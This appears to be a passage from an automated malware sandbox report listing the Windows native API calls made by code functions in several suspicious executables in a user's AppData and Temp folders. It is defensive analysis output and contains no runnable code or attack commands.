Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_00401833 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_00401836 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Roaming\hrgjvbv	Code function: 11_2_004023D9 NtEnumerateKey,
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_00401813 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_00401842 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_00402052 NtQuerySystemInformation,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_00402403 NtEnumerateKey,NtEnumerateKey,
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_00401812 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_0040202C NtQuerySystemInformation,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_00401830 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_00401833 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_00401836 Sleep,NtTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_2_004023D9 NtEnumerateKey,
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_1_00402052 NtQuerySystemInformation,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_1_004023D9 NtEnumerateKey,
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_1_00402403 NtEnumerateKey,NtEnumerateKey,
Source: C:\Users\user\AppData\Local\Temp\F72D.exe	Code function: 13_1_0040202C NtQuerySystemInformation,NtQuerySystemInformation,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289780 ZwMapViewOfSection,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289600 ZwOpenKey,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289660 ZwAllocateVirtualMemory,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2899A0 ZwCreateSection,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289820 ZwEnumerateKey,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289860 ZwQuerySystemInformation,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2898C0 ZwDuplicateObject,LdrInitializeThunk,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318D34 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D271520 RtlInitializeCriticalSectionEx,RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289520 ZwWaitForSingleObject,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FFD22 ZwQueryInformationProcess,RtlUniform,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D274D3B memset,RtlRunOnceExecuteOnce,ZwTraceControl,memcmp,RtlNtStatusToDosError,RtlFreeHeap,RtlAllocateHeap,RtlNtStatusToDosError,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1D0B ZwSetInformationProcess,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AD10 ZwSetCachedSigningLevel,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1D6A ZwWaitForMultipleObjects,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D306D61 ZwAllocateVirtualMemoryEx,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289D70 ZwAlpcQueryInformation,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1570 ZwQuerySystemInformation,RtlInitUnicodeString,memset,ZwAlpcConnectPort,ZwAlpcSendWaitReceivePort,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D311D55 ZwFreeVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C3540 LdrAppxHandleIntegrityFailure,RtlQueryPackageIdentityEx,memset,ZwQueryValueKey,RtlFreeHeap,ZwClose,memset,memset,RtlCaptureContext,RtlReportException,ZwTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1D43 ZwQueryInformationThread,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D270548 RtlEnterCriticalSection,RtlLeaveCriticalSection,RtlRbInsertNodeEx,ZwQueryVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2465A0 RtlpGetDeviceFamilyInfoEnum,RtlInitUnicodeString,ZwQueryLicenseValue,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlInitUnicodeString,ZwOpenKey,ZwClose,RtlGetVersion,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289DA0 ZwAlpcSendWaitReceivePort,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2895B0 ZwSetInformationThread,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289DB0 ZwAlpcSetInformation,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D25DD80 RtlAcquireSRWLockShared,ZwQueryVirtualMemory,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlImageNtHeaderEx,RtlRaiseStatus,RtlAddressInSectionTable,RtlImageDirectoryEntryToData,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D30B581 RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301582 ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243591 ZwSetInformationFile,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289DE0 ZwAssociateWaitCompletionPacket,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FEDE6 memset,memset,memset,ZwQueryInstallUILanguage,ZwIsUILanguageComitted,RtlLCIDToCultureName,ZwQueryValueKey,RtlInitUnicodeString,RtlCompareUnicodeStrings,RtlInitUnicodeString,ZwQueryValueKey,ZwEnumerateValueKey,RtlCompareUnicodeStrings,RtlCompareUnicodeStrings,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2495F0 TpSetPoolMinThreads,ZwSetInformationWorkerFactory,RtlGetCurrentServiceSessionId,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FBDFA RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2895F0 ZwQueryInformationFile,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26EDC4 ZwCancelWaitCompletionPacket,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D244DC0 RtlpUnWaitCriticalSection,RtlRaiseStatus,TpWaitForAlpcCompletion,ZwSetEvent,ZwAlpcQueryInformation,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2895C0 ZwSetEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2445D0 RtlGetThreadWorkOnBehalfTicket,ZwQueryInformationThread,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2895D0 ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FFDD3 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E420 RtlpLoadUserUIByPolicy,RtlInitUnicodeString,ZwOpenKey,ZwClose,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A420 ZwGetNlsSectionPtr,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26FC39 ZwAssociateWaitCompletionPacket,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D301411 ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318C14 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D280413 ZwUnmapViewOfSection,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318C75 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26746D RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F3C60 RtlFlushSecureMemoryCache,ZwQueryVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289C70 ZwAlpcConnectPort,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D285C70 TpSetPoolMaxThreadsSoftLimit,ZwSetInformationWorkerFactory,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1C76 ZwQueryInformationProcess,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27AC7B ZwFreeVirtualMemory,RtlFillMemoryUlong,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,DbgPrint,DbgPrint,DbgPrint,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1C49 ZwQueryInformationProcess,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289C40 ZwAllocateVirtualMemoryEx,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D245450 RtlClearThreadWorkOnBehalfTicket,memcmp,ZwSetInformationThread,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2DC450 RtlReleasePrivilege,ZwAdjustPrivilegesToken,ZwSetInformationThread,ZwClose,RtlFreeHeap,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24DCA4 ZwIsUILanguageComitted,ZwQueryInstallUILanguage,RtlpMuiRegFreeRegistryInfo,RtlInitUnicodeString,ZwOpenKey,ZwEnumerateKey,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,ZwClose,RtlpMuiRegFreeRegistryInfo,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D319CB3 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D280CA1 ZwQuerySecurityAttributesToken,ZwQuerySecurityAttributesToken,ZwQuerySecurityAttributesToken,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D314CAB ZwTraceControl,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D304496 ZwAllocateVirtualMemory,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,DbgPrint,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A480 ZwInitializeNlsFiles,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2C3C93 wcschr,RtlInitUnicodeString,wcstoul,RtlAnsiStringToUnicodeString,RtlCompareUnicodeString,ZwProtectVirtualMemory,DbgPrintEx,RtlFreeUnicodeString,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24EC9B RtlInitUnicodeString,ZwOpenKey,RtlpLoadUserUIByPolicy,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlFreeHeap,ZwClose,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlAllocateHeap,RtlpLoadMachineUIByPolicy,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F4E3 RtlEnterCriticalSection,RtlLeaveCriticalSection,ZwSetEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1CE4 ZwQueryInformationProcess,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D3014FB memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F64FB ZwOpenKey,ZwQueryValueKey,RtlEqualUnicodeString,RtlEqualUnicodeString,RtlEqualUnicodeString,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318CD6 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CCC0 memcpy,RtlGetNtSystemRoot,RtlInitUnicodeString,memcpy,ZwOpenKey,ZwClose,ZwEnumerateKey,DbgPrintEx,DbgPrintEx,DbgPrintEx,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A4C0 ZwIsUILanguageComitted,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242CDB RtlFreeHeap,ZwClose,ZwSetEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27E730 RtlDecodePointer,ZwQueryInformationProcess,RtlRaiseStatus,RtlAllocateAndInitializeSid,RtlAllocateHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289730 ZwQueryVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FCF30 ZwAlertThreadByThreadId,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D279702 RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwReleaseWorkerFactoryWorker,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289710 ZwQueryInformationToken,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D6715 memset,memcpy,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D176C ZwOpenEvent,ZwWaitForSingleObject,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D246F60 RtlGetPersistedStateLocation,ZwOpenKey,memcpy,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlAllocateHeap,ZwQueryValueKey,RtlExpandEnvironmentStrings,memcpy,ZwClose,ZwClose,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AF60 ZwSetTimer2,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27CF6A memcpy,memcpy,RtlDosPathNameToRelativeNtPathName_U,ZwOpenFile,memcpy,RtlFreeHeap,RtlDeleteBoundaryDescriptor,DbgPrintEx,DbgPrintEx,DbgPrintEx,ZwClose,RtlFreeHeap,DbgPrintEx,memcpy,DbgPrintEx,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289F70 ZwCreateIoCompletion,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289770 ZwSetInformationFile,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318F6A RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FCF70 RtlpGetUserOrMachineUILanguage4NLS,RtlInitUnicodeString,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D280F48 ZwOpenKey,ZwClose,ZwClose,ZwCreateKey,RtlInitUnicodeStringEx,ZwSetValueKey,RtlInitUnicodeStringEx,ZwSetValueKey,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289740 ZwOpenThreadToken,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2CA746 ZwGetCachedSigningLevel,ZwCompareSigningLevels,ZwSetCachedSigningLevel,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27174B ZwFreeVirtualMemory,RtlFlushSecureMemoryCache,ZwFreeVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D5F5F RtlInitUnicodeString,ZwOpenFile,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlAllocateHeap,RtlInitUnicodeString,ZwQueryDirectoryFile,RtlAllocateHeap,memcpy,RtlFreeHeap,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289750 ZwQueryInformationThread,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2CA7AC ZwCompareSigningLevels,ZwCompareSigningLevels,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2897A0 ZwUnmapViewOfSection,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D283FA0 RtlGetLocaleFileMappingAddress,ZwInitializeNlsFiles,ZwUnmapViewOfSection,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242FB0 RtlDestroyHeap,RtlDeleteCriticalSection,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,DbgPrint,DbgPrint,DbgPrint,RtlDebugPrintTimes,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2F5F87 ZwUnmapViewOfSection,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D5780 DbgPrompt,ZwWow64DebuggerCall,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27FF9C RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,RtlInitUnicodeString,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D0FEC ZwDuplicateObject,ZwDuplicateObject,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2737EB RtlImageNtHeader,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,RtlAllocateHeap,ZwCreateIoCompletion,ZwCreateWorkerFactory,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwSetInformationWorkerFactory,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D250FFD RtlInitUnicodeString,ZwQueryValueKey,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24F7C0 EtwNotificationUnregister,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,ZwClose,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2897C0 ZwTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27D7CA RtlImageNtHeader,RtlFreeHeap,ZwCreateSection,ZwMapViewOfSection,ZwClose,RtlImageNtHeader,ZwClose,RtlFreeHeap,ZwClose,ZwClose,ZwUnmapViewOfSection,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27DFDF ZwAlertThreadByThreadId,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AFD0 ZwShutdownWorkerFactory,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24E620 memset,RtlInitUnicodeString,ZwOpenKey,RtlInitUnicodeString,ZwClose,RtlFreeHeap,RtlInitUnicodeString,RtlCultureNameToLCID,RtlInitUnicodeString,RtlCultureNameToLCID,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289E20 ZwCancelTimer2,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FFE3F memset,RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D313E22 ZwTraceControl,RtlNtStatusToDosError,RtlAcquireSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlSetLastWin32Error,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24B630 ZwWaitForKeyedEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289E30 ZwCancelWaitCompletionPacket,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24C600 LdrQueryImageFileKeyOption,RtlInitUnicodeStringEx,ZwQueryValueKey,RtlFreeHeap,RtlAllocateHeap,ZwQueryValueKey,RtlFreeHeap,RtlUnicodeStringToInteger,memcpy,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D282E1C RtlInitializeCriticalSectionEx,ZwDelayExecution,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289610 ZwEnumerateValueKey,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D2E14 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27BE62 ZwProtectVirtualMemory,RtlGetCurrentTransaction,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28AE70 ZwSetInformationWorkerFactory,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289670 ZwQueryInformationProcess,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28B640 RtlUnhandledExceptionFilter,ZwTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28B650 RtlUnhandledExceptionFilter,ZwTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289650 ZwQueryValueKey,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D6652 ZwClose,RtlAllocateHeap,memcpy,ZwUnmapViewOfSection,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289EA0 ZwCompareSigningLevels,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D313EBC ZwTraceControl,RtlNtStatusToDosError,RtlSetLastWin32Error,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D2EA3 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26E6B0 RtlSetThreadWorkOnBehalfTicket,memcmp,ZwSetInformationThread,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D243E80 RtlSetThreadSubProcessTag,RtlGetCurrentServiceSessionId,RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2FBE9B RtlAcquireSRWLockExclusive,ZwAllocateVirtualMemory,RtlReleaseSRWLockExclusive,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A690 ZwOpenKeyEx,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27DE9E RtlAcquireSRWLockExclusive,RtlAcquireSRWLockExclusive,RtlGetCurrentServiceSessionId,ZwUnsubscribeWnfStateChange,RtlReleaseSRWLockExclusive,RtlFreeHeap,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockExclusive,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242E9F ZwCreateEvent,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2896E0 ZwFreeVirtualMemory,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24B6F0 EtwEventWriteNoRegistration,ZwTraceEvent,RtlNtStatusToDosError,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D16FA ZwQueryWnfStateNameInformation,ZwUpdateWnfStateData,EtwEventWriteNoRegistration,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D29DEF0 RtlRaiseException,RtlCaptureContext,ZwRaiseException,RtlRaiseStatus,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2576FE RtlInitUnicodeString,RtlAppendUnicodeToString,RtlAppendUnicodeToString,RtlAppendUnicodeToString,ZwOpenKey,ZwClose,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D26E6F9 ZwAlpcSetInformation,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318ED6 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2896C0 ZwSetInformationProcess,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2466D4 RtlInitUnicodeString,ZwQueryValueKey,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D279ED0 RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,RtlAcquireSRWLockExclusive,RtlAcquireSRWLockShared,RtlReleaseSRWLockExclusive,RtlReleaseSRWLockShared,ZwWaitForAlertByThreadId,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2896D0 ZwCreateKey,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D242ED8 ZwWaitForAlertByThreadId,ZwWaitForAlertByThreadId,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D264120 RtlAllocateHeap,memmove,memmove,RtlPrefixUnicodeString,RtlAllocateHeap,RtlLeaveCriticalSection,ZwClose,RtlFreeHeap,RtlFreeHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289920 ZwDuplicateToken,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D31F13B ZwOpenKey,ZwCreateKey,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D193B ZwRaiseException,ZwTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A130 ZwCreateWaitCompletionPacket,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D249100 TpReleasePool,RtlAcquireSRWLockExclusive,ZwShutdownWorkerFactory,RtlGetCurrentServiceSessionId,RtlDebugPrintTimes,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D250100 LdrUnloadAlternateResourceModuleEx,RtlAcquireSRWLockExclusive,ZwUnmapViewOfSection,ZwClose,RtlFreeHeap,RtlFreeHeap,RtlReAllocateHeap,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289900 ZwOpenEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2E5100 RtlAssert,RtlCaptureContext,DbgPrintEx,DbgPrompt,ZwTerminateThread,DbgPrintEx,ZwTerminateProcess,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D289910 ZwAdjustPrivilegesToken,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28B160 ZwUpdateWnfStateData,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D28A160 ZwCreateWorkerFactory,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D27D976 ZwCreateFile,ZwCreateFile,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D24B171 ZwQueryDebugFilterState,_alloca_probe_16,memcpy,_vsnprintf,ZwWow64DebuggerCall,RtlRaiseException,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D318966 RtlGetCurrentServiceSessionId,ZwTraceEvent,
Source: C:\Users\user\AppData\Local\Temp\9D57.exe	Code function: 23_2_6D2D1976 ZwCreateEvent,
